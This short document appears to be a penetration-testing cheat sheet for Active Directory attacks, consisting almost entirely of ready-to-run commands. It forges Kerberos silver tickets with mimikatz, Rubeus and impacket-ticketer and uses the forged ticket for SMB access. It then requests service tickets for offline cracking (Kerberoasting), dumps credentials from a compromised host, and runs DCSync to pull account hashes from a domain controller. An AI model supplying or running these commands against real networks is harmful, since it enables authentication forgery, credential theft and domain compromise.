Silver Ticket

mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /target:target.domain.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt

mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /target:sql.domain.local /service:MSSQLSvc /rc4:SVC_HASH /ptt

impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-DOMAIN-SID -domain domain.local -spn cifs/target.domain.local Administrator

export KRB5CCNAME=Administrator.ccache
impacket-smbclient domain.local/[email protected] -k -no-pass

.\Rubeus.exe silver /service:cifs/target.domain.local /rc4:SERVICE_HASH /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /ptt

# Kerberoasting
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC -request

# From compromised host (local admin)
impacket-secretsdump user:pass@TARGET

# DCSync (if DA)
impacket-secretsdump DOMAIN/admin:pass@DC -just-dc-user svc_account